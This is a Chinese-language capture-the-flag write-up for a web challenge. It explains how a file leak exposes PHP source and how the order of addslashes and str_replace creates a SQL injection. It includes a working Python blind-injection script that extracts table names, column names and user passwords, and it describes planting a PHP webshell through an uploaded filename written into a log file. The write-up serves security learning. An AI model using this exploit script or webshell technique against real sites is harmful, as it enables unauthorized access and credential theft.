题记
可以说是一个很有意思的题目了,哈哈哈,替换的顺序居然是个考点!
解题
文件泄露
访问robots.txt,可以发现有备份文件
看网页源码会发现有一个image.php 访问image.php.bak可以发现题目考点的源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
sql注入 addhashes转义
看见addhashes转义首先想到的就是\转义’造成注入漏洞,而且下面还有一个str_replace
这里看一有趣的现象
<?php
$path="\\0";
$path=addslashes($path);
echo($path);
echo("\r\n");
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
echo $path;
?>
输出的结果是
\\0
\
再看这个
<?php
$path="\\0";
$path=addslashes($path);
echo($path);
echo("\r\n");
$path=str_replace(array("\\","%00","\\0'","'"),"",$path);
echo $path;
?>
输出的结果是
\\0
0
题目中用的是第一个的代码
大致的是这样的首先传入一个\0经过addslashes转义为\0
之后再到str_replace()的时候首先匹配的是\0就成了一个\
所以这里我们可以构造一个一个闭合select * from images where id='\' or path='{$path}'
注意这里id=’\’ or path=’ 就程了一个整体select * from images where id='\' or path=' or ascii((substr(select table_name from information_schema.tables where table_schema=database()),1,1))>1#
exp:
import requests
url = 'http://d14d709d-349e-42e5-a612-c24db0861f0d.node4.buuoj.cn:81/image.php?id=\\0&path='
flag = ""
for i in range(1,100):
head = 32
tail = 130
while not (abs(tail - head)==1 or tail == head):
mid = (head + tail) >> 1
#payload = 'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}%23'.format(i,mid)
#images,users!!!
#payload = 'or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}%23'.format(i,mid)
#id,path,username,password
#爆密码 ceac970b08a685ae59e8
payload = 'or ascii(substr((select group_concat(password) from users),{},1))>{}%23'.format(i,mid)
r = requests.get(url+payload)
if not r.headers.get("Content-Length"):
head = mid
else:
tail = mid
if (tail < head):
tail = head
flag = flag + chr(tail)
print("[*]:",flag)
文件上传
随便上传一个jpg文件返回I logged the file name you uploaded to logs/upload.0c29d8715e3860d129daa2512c2fb4c5.log.php
就是将文件名保存到logs/upload.0c29d8715e3860d129daa2512c2fb4c5.log.php 这个文件里我们可以在这里写一句话木马 不过 我们前面传的时候已经知道文件不能带有php
所以用短标签绕过![OX97Z%8`[5(1}YONFOF~OY.png蚁剑连接